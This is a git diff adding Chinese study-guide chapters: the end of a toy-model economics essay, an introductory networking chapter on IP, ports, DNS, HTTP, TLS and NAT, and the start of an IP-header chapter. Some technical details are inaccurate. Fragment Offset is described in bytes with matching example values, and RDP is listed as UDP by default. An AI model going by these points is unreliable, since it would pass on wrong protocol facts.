+考虑你想要买一只鸡来吃，在人类社会中，鸡是一种商品，而你拥有货币。看起来你拥有对鸡（商品）的支配权，但实际并非如此。因为你不能走进大山里用货币向大自然换一只鸡来，**实际上，在你购买这个商品时付出的货币，是购买了打猎或者养殖鸡的人的劳动力，而非是购买了鸡这种商品本身**。同样，价值 1000 元在上文的意思就是，如何建造一个需要 1000 元才能够买得到的劳动力才能建造的博物馆，而不是说博物馆本身价值 1000 元。
+
+明白了这一点，就很好解释如何建造这个博物馆了，我们引入一个新的经济部门，叫建筑商，建筑商雇佣工人来完成博物馆的建设，每个工人的工资是 4 元，工人会把工资的全部都用来购买面包。所以，建造博物馆需要 1000/4=250 个人/期单位的劳动力。只要经济可以正常循环下去，每期都有工人来参与建设、获得面包，价值 1000 元的博物馆就可以建成。
+
+### 小结
+
+本节中简单讨论了最简单的生产 - 消费模型，引入了货币的概念，并引入了铸币税、贸易等基本的经济学概念。
+
+本节最后，讨论了债务和货币沉积。在接下来的讨论中，会引入“银行”等新的经济实体，这会从根本上改变经济系统的运作方式。在此上下文下，货币沉积甚至是保证银行正常运行的基础、债务会带来经济繁荣。可以留意后文的讨论再来做对比。
+
+### 思考题
+
+1. 当前，中国的农村老人养老金很少遭到诟病，能否通过提升他们的养老金来提高他们的生活质量呢？养老金，或者说货币流通、再分配的本质是什么？
+
+## 虚假的繁荣经济
+
+### 生产余力与经济繁荣
+
+假设甲村的人非常聪明，他们发明了一种能够全自动播种、收割小麦的机器，使得面粉的产量增加了 10%。现在甲村就有 3 个经济部门了。分别是：面粉厂、面包厂和农机厂。
+
+假设面包的生产数量完全受限于面粉的数量，更多的面粉就意味着有更多的面包。一切看起来都很美好，人们有比以前更多的面包了，这意味着生活质量的改善、生产力的提高。
+
+但这里还有一个问题没有解决，面粉厂为什么要生产更多的面粉呢？
+
+现在消费意愿没有变，甲村还是每一期消费 50 个面包，仅仅是面粉厂获得了一种可以提高面粉产量的技术，既然面粉生产多了也卖不掉，面粉厂为什么要生产更多的面粉呢？
+
+这里就要回到我们之前讨论过的[印钞部门](https://nq077wcre3.feishu.cn/docs/doccnisJfwYYDUqHJwTtBg6SB5b#pYjCEY)了，在这一节中，印钞部门通过印钞，提高了人们的消费意向。也就是说，在生产力提高的情况下，需要印钞部门（通常是政府）这一角色，来为促进消费尽一份力。具体的过程可以表示如下：
+
+| 行为         | 做面粉的                      | 做面包的               | 铸币部门      |
+| ------------ | ----------------------------- | ---------------------- | ------------- |
+| 开始         | 初始货币 50                   | 初始货币 50            | 0             |
+| 铸币         |                               |                        | 铸币 10       |
+| 交易面粉     | 货币 +50（100）               | 获得 50 斤面粉         |               |
+| 交易面包     | 货币 -50（50），获得 50 个面包 | 货币 +50（50）         |               |
+| 政府刺激消费 | 货币 +5，生产 5 斤面粉        | 货币 +5，售出 5 个面包 | -10(消费面包) |
+| 期末         | 55                            | 55                     | 0             |
+
+虽然在这一期中，看起来是面粉和面包厂额外做了面包供政府消费，但实际上他们的储蓄有了增加，因此他们的消费意愿也会增加。
+
+因此，只要政府部门能够敏锐地发现生产余力的存在，并且向经济系统中添加适量货币，就能够促进经济的发展，形成繁荣的经济现象。
+
+**可惜的是，要增加多少储蓄才能让人们有足够多的消费意愿这一问题根本无法准确回答，政府部门在这一过程中总是倾向于多发行货币，因此，这种情况下通常也会带来商品价格的上涨。**
+
+### 产出结构、资源分配
+
+在上文提到，甲村现在有了个新的经济部门，农机制造部门。
+
+农机制造部门生产的机器非常伟大，能够提高小麦产量，提高人们的幸福水平。
+
+但，农机制造部门会因此得到资源倾斜、产出更好的农机吗？我们来考察一下这个问题。
+
+假设农机部门从无到有创造了行业，但现在并没有什么需求，还要等待政府部门意识到生产力的提高和货币不足，因此，农机的加个并不能设置得很高，否则一定不会有面粉厂买，无异于自杀。
+
+就假设一台农机可以耕作一单位的土地，使这一单位土地的面粉产量增加 10%，面粉厂一共有 10 单位土地，要让整体产量增加 10%，需要 10 台农机，一台农机最后定价 4 元，农机厂每期生产 1 台农机。
+
+定价 4 元这一动作，其实就是说经济系统内的其他部门花 2 个面包供养农机厂，农机厂消费 2 个面包，产出一台农机。
+
+在这里，暂时不考虑 4 元这个定价是否合理，**可以发现虽然农机厂生产的农机本身可以提高面包产量，但最终农机厂得到的供养却与****起****贡献的面包产量不成正比**。而且，可以预见的是，在出售 10 台农机后，农机就不会被需要，这意味着农机厂若没有依靠这 10 期的供养产出更高效的农机就会被放弃供养而倒闭。
+
+**这一事实说明经济系统的运行规则存在其固有缺陷，并不一定可以把资源倾斜给实际提供产出的部门，相反，随着面包产量增加、政府增发货币，农机厂可能是收入提升最少的，意味着农机厂获得的资源分配会越来越少。**
+
+### 不可能的指数增长
+
+我们总是用指数化的方式来描述经济的增长，总说这一期的产量较上一年增长了多少百分比。但若仔细考虑增长的来源，就能发现指数增长是不可能实现的，并且衰减通常来得非常快、衰减幅度也会非常大。
+
+考虑农机厂现在由于政府干预受到了足够的重视，决定开始加速农机产出，使得每一期农机保有量都比上一期多 50%。面粉厂也十分努力，在原先 10 单位的土地之外，开垦新土地，每一期土地的面积都比上一期多 10%。需要注意，这已经是非常非常高、近乎不可能实现的增长速度，所以这是一个人们都非常努力的经济体，大家都在努力工作追求经济增长。
+
+我们可以做一个表，描述土地和农机的增长过程
+
+| 期数 | 农机保有量 | 土地面积 | 缺口  |
+| ---- | ---------- | -------- | ----- |
+| 1    | 1          | 10       | 9     |
+| 2    | 1.5        | 11       | 9.5   |
+| 3    | 2.25       | 12.1     | 9.85  |
+| 4    | 3.375      | 13.31    | 9.935 |
+| 5    | 5.0625     | 14.64    | 9.58  |
+| 6    | 7.59       | 16.10    | 8.51  |
+| 7    | 11.385     | 17.71    | 6.325 |
+| 8    | 17.0775    | 19.481   | 2.40  |
+| 9    | 25.61      | 21.42    | -4.18 |
+
+可以发现，一开始，不论大家如何努力生产，缺口都保持在 9 以上，甚至还有扩大的趋势，但随着时间推移，很快在第 9 期就迎来了经济衰退，经济系统不再需要这么多农机，在现行的经济评价指标下可以认为是经济陷入了衰退。
+
+**仅从上表就不难看出，追求指数增长是不可能的，经济体通常会在极短的时间以出乎所有人预料的速度内陷入衰退。**
+
+除此之外，我们可以从实际增长方式的角度论证指数增长是不可能的。
+
+假设农机厂依赖机床来进行农具的生产，一台机床在 1 期可以产出 1 台农具。机床是高精尖产物，每期只能生产一台。那么就有在 t 期的农机保有量=t + t-1 + t-2 + t-3 + ... + 1 = (t + t^2)/2，是一个二次函数。面粉产量与 t 的关系也是一个二次函数。而当我们用指数增长与二次函数的增长速度相比较时，就会发现在早期，指数函数增长总比二次函数慢一些，而在之后，指数函数的增长速度会大幅超过二次函数。
+
+### 经济繁荣周期
+
+在本节的最后，来考虑一下竞技是如何变得繁荣的。
+
+经济繁荣，其实就是指个体的储蓄增多，人们觉得赚钱很容易，觉得自己对商品的支配力变强。要出现这种情况，可能是生产力变得更发达，也可能是人们的账面资产得到了增加。通常，在经济繁荣周期中，这两种现象总是夹杂着出现、互相放大彼此。
+
+首先，由于生产力有了一些发展，政府会增加货币投放，货币增加使得人们的账面资产增加，而这时处于经济繁荣的初期，商品的价格并没有怎么上涨，人们会发现自己的钱能够买到比以前更多的商品，相信自己拥有了更强的商品支配力。
+
+这时，通常会出现一个极速涨价的金融资产，由于大家有了更多储蓄，大家都倾向于投资金融资产，在很多场景下，这个金融资产是房地产。
+
+由于金融标的账面价格的进一步上涨，人们会相信自己拥有了更多的财富，这时，即使物价开始出现比较明显的上涨，人们也会觉得金融标的的上涨速度远大于物价，在这一步中，资产的账面价格上涨促进了经济繁荣。
+
+在经济繁荣周期的中后期，人们会惊讶地发现生活必需品（通常又是房子）的价格大幅上涨，已经超过了人们收入的增长速度，于是此时面临一个抉择，如果大部分人选择在此时降低自己的消费、提高自己的储蓄，那么大量账面资产的价值就会无法兑现，会加速经济繁荣周期的结束。
+
+反之，如果人们面对生活必需品价格的上涨，选择对生产的物品也涨价（例如，煎饼果子涨价），以此来提高储蓄速度，那么经济体系会迎来又一波整体的价格上涨。
+
+最终，经济繁荣周期一定会结束，但何时结束，取决于人们的价格博弈结果，如果人们一直选择涨价，终究会有收入分配不合理的群体首先无法支撑价格上涨开始进入削减消费周期。
+
+从上述讨论中不难发现，经济系统实际上并没有自限性地防止价格过度上涨的机制，而通常在经济繁荣周期结束后，也没有让价格对应下调的机制。这意味着在经济繁荣周期结束后，经济体通常会进入滞涨周期。在滞涨周期中，资产的价格长期维持高位，人们通过发展生产力、再分配等手段来促进价格体系回归正常，因此，滞涨周期也可以理解为价格体系的修复周期。
+
+### 下一篇&本篇总结
+
+在本篇中，我们简单建立了一个经济系统的模型。并利用这个模型，演示了现实生活中发生的各种事件和其对系统的影响。
+
+需要注意的是，这个经济模型并不是我们现在的经济模型，因为其中并没有引入现代经济系统中非常重要的银行部门，没有产生大量的信贷。
+
+因此，这个模型中的“经济景气”情况并不容易出现，同时，超前借贷等情况反而会给经济增长带来巨大压力。这显然并非现在的情况。
+
+在下一篇中，会引入银行部门来构建一个更现代的经济系统，并简单论述银行这一经济部门的特点和风险。
diff --git a/技术资源汇总(杭电支持版)/8.基础学科/8.基础学科.md b/技术资源汇总(杭电支持版)/8.基础学科/8.基础学科.md
new file mode 100644
index 0000000..f4cf35b
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/8.基础学科/8.基础学科.md
@@ -0,0 +1 @@
+# 8. 基础学科
diff --git a/技术资源汇总(杭电支持版)/8.基础学科/static/lake_card_mindmap.png b/技术资源汇总(杭电支持版)/8.基础学科/static/lake_card_mindmap.png
new file mode 100644
index 0000000..c4722ec
Binary files /dev/null and b/技术资源汇总(杭电支持版)/8.基础学科/static/lake_card_mindmap.png differ
diff --git a/技术资源汇总(杭电支持版)/8.基础学科/static/picture1.png b/技术资源汇总(杭电支持版)/8.基础学科/static/picture1.png
new file mode 100644
index 0000000..f27132c
Binary files /dev/null and b/技术资源汇总(杭电支持版)/8.基础学科/static/picture1.png differ
diff --git a/技术资源汇总(杭电支持版)/8.基础学科/static/picture2.png b/技术资源汇总(杭电支持版)/8.基础学科/static/picture2.png
new file mode 100644
index 0000000..3f6a748
Binary files /dev/null and b/技术资源汇总(杭电支持版)/8.基础学科/static/picture2.png differ
diff --git a/技术资源汇总(杭电支持版)/9.计算机网络/9.1计网速通.md b/技术资源汇总(杭电支持版)/9.计算机网络/9.1计网速通.md
new file mode 100644
index 0000000..a379e53
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/9.计算机网络/9.1计网速通.md
@@ -0,0 +1,342 @@
+# 9.1 计网速通
+
+> Author: 柏喵樱
+>
+> copyright reserved
+
+计算机网络是一个非常复杂的系统。在这一章节中，系统的底层实现将被隐去，只留下暴露给用户的内容。
+
+这一章节为 Web 开发入门设计，用于速通 Web 开发和计网的交叉知识，故命名为“计网速通”。
+
+## IP 地址与端口
+
+`1.1.1.1:80`
+
+如你所见，上面一串字符表示一个 IP 和端口，他的格式是 `IP:端口`
+
+IP 是一个由小数点分割成四段的序列，每段数字的取值为 $[0,255]$ , 在上面的示例中，IP 是`1.1.1.1`
+
+而端口是一个数字，取值范围是$[0,65535]$ , 在上面的示例中，端口是`80`
+
+所有在互联网上的计算机都会被分配到一个 IP，用于标识自己。
+
+现在先抛开具体的实现方式不提，给你一个既定的事实：互联网能够将数据从一个 IP 地址传递到另一个任意的 IP 地址。
+
+现在你已经知道了怎样使用互联网传送数据，先不讨论怎么说，**理论上说只需要知道对方的 IP，给他发数据就可以了**。
+
+### 那么端口是干什么用的呢？
+
+想象你的电脑上有很多的应用程序，他们都往互联网上同一个服务器发数据，互联网上的这个服务器也给他们回复数据。当接受到的所有的数据都到了操作系统手里，此时，操作系统如何知道，哪些个数据应该给哪些个应用程序？
+
+解决方案也很简单，给发出的数据打一个“标记”，这个标记就是端口（Port）。
+
+想象一个港口，里面有很多的码头，一个应用程序他可以接管一个码头，用于自己传输数据。
+
+我们可以从一些数据从 IP 地址 1.1.1.1 的 54321 号码头发送数据到 IP 地址 2.2.2.2 的 12345 号码头，同时在发送的数据上做标记，标记他来自什么地方的几号码头。回复数据的时候自然知道往什么地方回复了。
+
+上面的描述也就是
+
+`1.1.1.1:54321 -> 2.2.2.2:12345`
+
+即，将数据从 1.1.1.1 的 54321 端口发送到 2.2.2.2 的 12345 端口
+
+可以说这个数据包有以下属性
+
+- 源 IP 1.1.1.1
+- 源端口 54321
+- 目的 IP 2.2.2.2
+- 目的端口 12345
+
+## TCP 与 UDP
+
+TCP 和 UDP 两个协议的具体实现都是由操作系统提供的，应用程序发送 TCP 包和 UDP 包一般都是使用操作系统的 API 发送的，所以我们无需关系这两个协议的具体实现细节。
+
+下面通过表格对比两个协议来告诉大家如何选择去使用哪一个协议。
+
+||TCP|UDP|
+|---|---|---|
+|可靠性 | 有 | 无 |
+|速度 | 慢 | 快|
+
+表格很小，但是最本质的区别就是这些了。
+
+TCP 的最大特点就是**可靠交付**，他有一个 ACK 确认机制，简单来说就是对于发送的数据，如果没有收到对方的 ACK 确认收到，他会不断尝试重发，直到他认为无法送达。
+
+UDP 和 TCP 虽然经常一起被提起，也确实属于互联网的同一个层，但从他们的复杂度看，他们并不是两个对等的协议。比起 TCP 有一套非常复杂的算法实现可靠交付流量控制等协议，UDP 真的就是单纯发了一个数据包过去，然后什么也不管。
+
+不过不用担心，大家也没多少机会直接接触这两个协议，还是接触 HTTP 居多。如果真的需要做出选择，除非你知道你在做什么，选 TCP。
+
+现在，你应该知道，虽然你不知道具体怎么做，但是从理论上说，你可以选择其中一种协议发送数据到另一台联网的计算机的某个端口上。
+
+如果此时这台计算机的某个应用程序在这个端口使用了正确的协议监听，这个程序他能够正确地获取到数据。两个程序之间的点对点（p2p）通信就这样建立了。
+
+## DNS
+
+DNS(Domain Name System) 域名系统
+
+目前我们已经能够和服务器建立起可靠的连接了，但这与我们日常所见的并不一样。
+
+对于日常使用，如果我要打开一个网页，我会选择使用比如`bilibili.com`这样的东西，这一串字符叫做**域名**
+
+域名的最直观用途是代替你记忆 IP 地址，当你访问 `bilibili.com` 这个网址的时候，一般首先会调用操作系统 API，操作系统会代替你发送域名解析请求到 DNS 服务器，最后 DNS 服务器会返回给你域名对应的 IP 地址。
+
+其实你也可以拥有自己的域名这很简单。如果你要搭建你自己的网站，购买域名是逃不掉的，在国内的话还需要备案。
+
+![域名解析后台](https://cdn.xyxsw.site/dnspod-domain.png)
+
+如上图所示，一个域名有很多不同的解析类型，但是目前你只需要知道 A 记录是什么。
+
+A 记录是目前互联网上最主要的记录类型，他的记录值是一个 IPv4 地址（就是上述的 IP，v4 是版本号）。
+
+举个例子，域名`aaa.bbb.cn`做 A 解析到 `1.1.1.1`，我们需要设置：
+
+- 主机记录 aaa
+- 记录类型 A
+- 记录值 `1.1.1.1`
+- 其他默认
+
+此时如果你如果将这个域名作为网址使用，浏览器就会通过域名解析拿到 `1.1.1.1`，向 `1.1.1.1` 发送 HTTP 请求获取数据
+
+## HTTP
+
+HTTP 协议用于 WEB 服务器，一般多见于浏览器获取网页内容。浏览器会用 HTTP 协议发送 HTTP 请求到服务器，服务器处理 HTTP 请求并返回 HTTP 响应。很多的 APP，小程序和电脑上的应用程序都在广泛地使用 HTTP
+
+HTTP 协议有不少版本，现在互联网上最流行的是 HTTP/1.1 版本，浏览器一般最高支持 HTTP/2.0,最新版本是 HTTP/3.0,下面只讨论 HTTP/1.1
+
+HTTP 的底层是 TCP，他基于此规定了一套文本格式，用于表达一些信息
+
+单纯说说是说不明白的，HTTP 报文分请求和响应两种格式，下面给出实例
+
+> 如果你有兴趣做 HTTP 抓包，推荐用 Yakit，本人实习正在做这个产品，也欢迎反馈 bug
+
+### 请求
+
+``` http
+POST /x/click-interface/web/heartbeat HTTP/1.1
+Host: api.bilibili.com
+Accept: application/json, text/plain, */*
+Accept-Encoding: gzip, deflate, br
+Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
+Content-Length: 397
+Content-Type: application/x-www-form-urlencoded
+Cookie: balh_server_inner=__custom__;dy_spec_agreed=1; balh_is_closed=; PVID=1; i-wanna-go-back=-1; CURRENT_BLACKGAP=0; buvid_fp_plain=undefined; DedeUserID=74145050; DedeUserID__ckMd5=a31c4db0fb996454; blackside_state=0; b_nut=100;
+Origin: https://www.bilibili.com
+Referer: https://www.bilibili.com/video/BV1Kx4y1Z7xb/?vd_source=9ec246e4a5695e749fc2f84871669501
+Sec-Fetch-Dest: empty
+Sec-Fetch-Mode: cors
+Sec-Fetch-Site: same-site
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Edg/115.0.1901.188
+sec-ch-ua: "Not/A)Brand";v="99", "Microsoft Edge";v="115", "Chromium";v="115"
+sec-ch-ua-mobile: ?0
+sec-ch-ua-platform: "Windows"
+
+start_ts=1690809334&mid=74145050&aid=998480789&cid=1195467370&type=3&sub_type=0&dt=2&play_type=4&realtime=27&played_time=27&real_played_time=35&refer_url=https%3A%2F%2Fmember.bilibili.com%2F&quality=0&video_duration=186&last_play_progress_time=27&max_play_progress_time=27&spmid=333.788.0.0&from_spmid=&extra=%7B%22player_version%22%3A%224.2.4-rc.2132.0%22%7D
+```
+
+所见即所得，除了部分敏感字段被隐去外，HTTP 报文在网络中传输时，就长这样
+
+#### 请求方法
+
+首先看到第一行
+
+`POST /x/click-interface/web/heartbeat HTTP/1.1`
+
+`POST`是请求方法，具体如何使用没有明确的规定，可以参考 Restful 风格，Restful 规定的请求方法有
+
+- GET
+- POST
+- PUT
+- DELETE
+
+分别对应查，增，改，删四个动作，这四个动作统称增删查改，英文 CRUD（Create Read Update Delete）
+
+其中，一般来说 GET 和 DELETE 两个请求方法是不带负载 (后面有讲什么是负载) 的，但这也不是硬性规定。
+
+如果你从浏览器地址栏打开一个网页，那么他首先会向对面服务器发送一个 GET 请求，而其他类型的请求往往是网页加载过程中 js 脚本向服务器获取数据所带来的的。
+
+#### 请求路径 HTTP 版本号
+
+早期的 Web 服务器采用纯静态 + 文件目录结构，这其实相当于说暴露一个文件夹在互联网上，然后大家使用文件路径获取这个文件夹中的一个特定的文件。
+
+这个格式一直以来都得到了沿用，现代的路径早已经失去了这个固定意义，成为了一种分类和标识。
+
+请求路径可以带请求参数的，上面的例子没有展现出来，类似于
+
+`/shell?cmd=ls&a=b`
+
+这种写法只是一种所有人都遵循的格式，这样的路径带 2 个参数，第一个名字叫`cmd`，参数的值是`ls`，第二个名字叫`a`，参数的值是`b`。
+
+如果出现字符冲突，比如你需要一个参数值为`&`的参数，可以使用 URL 编码，写成`%26`，这是`%+16进制ascii码`的格式。
+
+这一行最后跟一个 HTTP 版本号
+
+#### 请求头（header）
+
+紧接着的是请求头，其固定格式为`Key: Value`
+
+一行一个请求头，不同的请求头有不用的用途，广泛认可的请求头有
+
+- Host 主机名，也就是域名，如果使用 IP 访问，这里会写成 IP
+- Content-Type 表示 Payload 的内容格式
+- User-Agent 发 HTTP 包的人用的浏览器类型和版本号
+- Cookie 用于存储认证信息等，由服务器设置，浏览器每次请求都会携带
+
+别的可以暂时不知道
+
+请求头也可以自定义，如果你觉得有必要你可以添加你自己的请求头
+
+#### 负载（payload）
+
+上面的实例是一个 application/x-www-form-urlencoded 类型的 payload，这由 Content-Type 规定。他的格式和请求参数是一致的。
+
+负载还有很多种不同的格式，比如 json，xml，form-data Web 开发那一块应该会讲，这里就不提了。
+
+### 响应
+
+``` http
+HTTP/1.1 200 OK
+Access-Control-Allow-Credentials: true
+Access-Control-Allow-Headers: Origin,No-Cache,X-Requested-With,If-Modified-Since,Pragma,Last-Modified,Cache-Control,Expires,Content-Type,Access-Control-Allow-Credentials,DNT,X-CustomHeader,Keep-Alive,User-Agent,X-Cache-Webcdn,x-bilibili-key-real-ip,x-backend-bili-real-ip,x-risk-header
+Access-Control-Allow-Origin: https://www.bilibili.com
+Access-Control-Expose-Headers: X-Bili-Gaia-Vvoucher
+Bili-Status-Code: 0
+Bili-Trace-Id: 014a52764364c7b4
+Connection: keep-alive
+Content-Type: application/json; charset=utf-8
+Cross-Origin-Resource-Policy: cross-origin
+Date: Mon, 31 Jul 2023 13:17:39 GMT
+X-Bili-Trace-Id: 369754a5d2179290014a52764364c7b4
+X-Cache-Webcdn: BYPASS from blzone03
+Content-Length: 51
+
+{
+    "code": 0,
+    "message": "0",
+    "ttl": 1
+}
+```
+
+#### 协议版本 响应状态码
+
+协议版本不提了
+
+响应状态码有很多种
+
+上面响应了 200 OK 这是最主要的一种对于请求成功的响应，其他常见的有
+
+- 500 服务器内部错误
+- 404 服务器找不到资源
+- 403 没权限
+- 301 永久跳转
+- 302 暂时跳转
+- 200 成功返回
+
+其中跳转类型会附带 Location 响应头，响应头的内容是要跳转到的地方
+
+#### 响应头
+
+格式和请求头保持一致
+
+在实例的响应头中可以看到很多由 Bilibili 自定义的响应头
+
+其他和请求头基本一致不做讲解
+
+#### 负载 (payload)
+
+这是一个 json 格式的负载，具体参考 Web 开发章节
+
+## TLS
+
+现在大多数的网址都会使用 HTTPS 协议而不是 HTTP，其区别在于，HTTP 是把上面提到的报文直接放在 TCP 里传输，此时如果有人抓包获取了你的报文，他是可以看到完整内容的。为了安全，TLS 诞生了。
+
+HTTPS 的本质就是在将 HTTP 报文通过 TLS 进行发送，而不是直接通过 TCP 发送。
+
+TLS 建立在 TCP 的基础上，他会通过加密来确保传输过程中数据的安全。
+
+具体如何加解密在这里不讨论，比较复杂，这里只能指条路：服务器想要处理 TLS 握手构建安全传输，服务器需要证书和秘钥。这两个东西是由证书签发机构签发的，免费的证书签发机构最出名的是 Let's Encrypt，签发证书最方便的脚本是 acme.sh。
+
+## 常用协议端口
+
+我们在打开一个网页的时候，是不是从来没有考虑过端口的问题？
+
+这是因为 HTTP/HTTPS 协议有个默认端口，分别是 80 和 443，不写就是默认端口
+
+下面给一个常用端口列表，随便记一下差不多了
+
+| 应用层协议 | 端口 | 传输层实现 |
+| ---------- | ---- | ---------- |
+| FTP        | 21   | TCP        |
+| SSH        | 22   | TCP        |
+| SMTP       | 25   | TCP        |
+| DNS        | 53   | UDP        |
+| HTTP       | 80   | TCP        |
+| POP3       | 110  | TCP        |
+| HTTPS      | 443  | TCP        |
+| Mysql      | 3306 | TCP        |
+| RDP        | 3389 | 默认 UDP    |
+| Redis      | 6379 | TCP        |
+
+## 公网与内网 --- 真实环境分析
+
+基本的内容介绍的差不多了，下面分析一个简单的网络案例，顺带介绍公网和内网的概念。
+
+相信在看这篇文章的大家都正在使用互联网，如果你正在使用 windows 设备，你可以先按 `win`+`R` ，输入 `cmd`，在弹出的窗口输入 `ipconfig` 你可以看到里面有一串类似于下文的内容：
+
+```powershell
+无线局域网适配器 WLAN:
+
+   连接特定的 DNS 后缀 . . . . . . . :
+   本地链接 IPv6 地址. . . . . . . . : fe80::4835:c258:e07d:acc3%24
+   IPv4 地址 . . . . . . . . . . . . : 192.168.0.109
+   子网掩码  . . . . . . . . . . . . : 255.255.255.0
+   默认网关. . . . . . . . . . . . . : 192.168.0.1
+```
+
+IPv4 地址一栏有一个形似 `192.168.XXX.XXX`的地址，这是一个典型的内网地址，类似的还有很多，比如说
+
+- 192.168.0.0 - 192.168.255.255
+- 10.0.0.0 - 10.255.255.255
+- 172.16.0.0 - 172.31.255.255
+
+看到以上任意一个都是非常合情合理的，虽然还有其他内网地址，但是那些都比较冷门，可能一辈子碰不到，不用记忆。
+
+因此，除了上面列出的 IP 地址，请将他们一律视为公网地址，公网地址是独一无二的，绝对的，内网地址在不同的子网里可以重复使用，是相对的。
+
+此外下面还有子网掩码和默认网关，掩码会在后续的内容中介绍，现在知道你只需要知道：
+
+- 上面显示的 `IPv4 地址` 是你这台设备的 IP 地址
+- 家庭和寝室网络子网掩码默认 `255.255.255.0`
+- 默认网关是路由器在内网的 IP，你的设备需要路由器的帮助将数据包从内网转发到公网
+
+此刻你可能会有一个疑问，作为一台联网的计算机设备，我可以把数据发送到公网的服务器上，因为我知道他的公网 IP，而且这是独一无二的，只要我联网，互联网上的路由设备会尽力帮我把数据送到地方。
+
+### 但是，返回的数据该怎么办？
+
+显然，对面不可能把数据包发给一个内网地址，他只有发给一个公网地址，互联网上的路由设备才知道他要去哪，才能帮他将数据送到地方。
+
+问题的答案很简单，我们的路由器，他通过 PPPoE 拨号的方式向运营商拿到了一个公网 IP。他在把数据包转发到互联网上前，做了一个网络地址转换的操作，把数据包的源地址替换成了他的公网 IP，再找了一个随机端口号，在那里将修改后的数据发送到公网，**这个转换的操作会被路由器记录**。
+
+这样，公网上的服务器在收到数据包后也能知道，这个包来自于哪个公网 IP 的哪个端口，回复的时候就知道发到什么地方了。
+
+路由器拿到公网上的服务器回复的数据包后，可以根据做网络地址转换时的记录，逆向推导出他应该将包发送到内网的哪台机器的哪个端口，就完成了数据的收发。
+
+绝大多数的家庭或者寝室网络都遵循着这个规则。
+
+### 那为什么要这么做呢？
+
+对于一般家庭网络，有两个简单的理由
+
+- 安全，只有你主动连接才能拿到回复，互联网上的设备无法主动访问你的设备
+- IPv4 不够用啦
+
+### 其他特殊 IP 地址
+
+- 127.0.0.1 本机，用于自己的设备给自己的设备另一个端口发送数据
+- 169.254.x.x 保留地址，向路由器获取内网地址前会临时使用这个地址，如果你发现你的电脑正在使用这个地址，路由器可能坏了
+- 198.18.x.x 保留地址，但是有些软件会使用这个地址来实现透明代理（tun）
+
+好，我们的计网速通章节，到此结束，这些计算机网络知识应该足够你做简单的 Web 开发了
+
+## 参考资料
+
+- HTTP 教程 <https://www.runoob.com/http/http-tutorial.html>
diff --git a/技术资源汇总(杭电支持版)/9.计算机网络/9.2.3.1IP协议.md b/技术资源汇总(杭电支持版)/9.计算机网络/9.2.3.1IP协议.md
new file mode 100644
index 0000000..017aa59
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/9.计算机网络/9.2.3.1IP协议.md
@@ -0,0 +1,184 @@
+# IP 协议
+
+> Author: 柏喵樱
+>
+> copyright reserved
+
+## IP 协议数据包结构
+
+IP 协议是网络层最主要的协议，几乎所有的上层数据包都需要 IP 协议的承载，我们网络层的第一块内容将从 IP 协议讲起。
+
+下图展示了 IP 协议的报文头部格式，这张图每行代表 32 个 bit，也就是 4 个字节（byte）。如果不计算 Options 这种可选项的话，IP 协议的报头长度为 20 个字节。
+
+在头部的后面，会携带负载（payload），这个词可能略显晦涩，但实际上就是我们需要发送的数据。
+
+<pre>
+ 0                   1                   2                   3
+ 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
++-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
+|Version|  IHL  |Type of Service|          Total Length         |
++-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
+|         Identification        |Flags|      Fragment Offset    |
++-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
+|  Time to Live |    Protocol   |         Header Checksum       |
++-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
+|                       Source Address                          |
++-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
+|                    Destination Address                        |
++-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
+|                    Options                    |    Padding    |
++-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
+                Example Internet Datagram Header
+</pre>
+
+## 版本
+
+第一个字段是 IP 协议版本号，用于标识 IPv4 和 IPv6 两个版本，这两个版本的报文格式是不同的。上图展示的是 IPv4 的报文格式
+
+## IHL (Internet Header Length)
+
+就是 IP 协议的头部部分的长度，单位是 4byte，由于 IP 头一般长度为 20byte，所以这个值一般为 5。如果存在 Options 字段，这个值会相应增加。
+
+## Type of Service
+
+服务类型，标记服务类型最初是为了对不同服务的数据包做不同的转发策略，比如说哪些数据包应该被优先转发，应该更注重转发延时还是更注重吞吐量一类的问题，除非到运营商层面一般接触不太到。
+
+## 数据包总长度
+
+Total Length 很好理解就是包括 IP 头在内的 IP 报文的总长度，报文长度上限就是 MTU。
+
+## Identification & Flags & Fragment Offset
+
+这三个字段放在一起讲，他们都是用于控制分片的。
+
+我们的 MTU 他一般是 1500，去除 20 bytes 的头部他还能够携带 1480 bytes 的数据，但是现实中的负载很容易就能够超出这个大小，这时候就需要将内容切片分块发送。
+
+切片时，会切出许多 1480 bytes 的切片，和剩下的不足 1480 bytes 的部分。对于以上的所有切片，都会给他们加一个自己的 IP 头。这些 IP 头有一个共同点，就是他们具有一个相同的 Identification 用于识别（identify）他们原先是一块的。
+
+现在还存在两个问题，
+
+1. 服务器接收到一个分片后，不知道要不要继续接收
+2. 分片很有可能乱序抵达，服务器不知道分片的顺序
+
+对于第二个问题，引入了 Fragment Offset（分片偏移量），他的单位是 byte，用于标识这一个分片的数据，是从原来超长负载的哪个位置开始的。比如对于一个长度为 5000 bytes 的负载，他的几个分片的 Fragment Offset 依次为 0,1480,2960,4440。在收到数据后，服务器只需要按照这个字段重新组装即可。
+
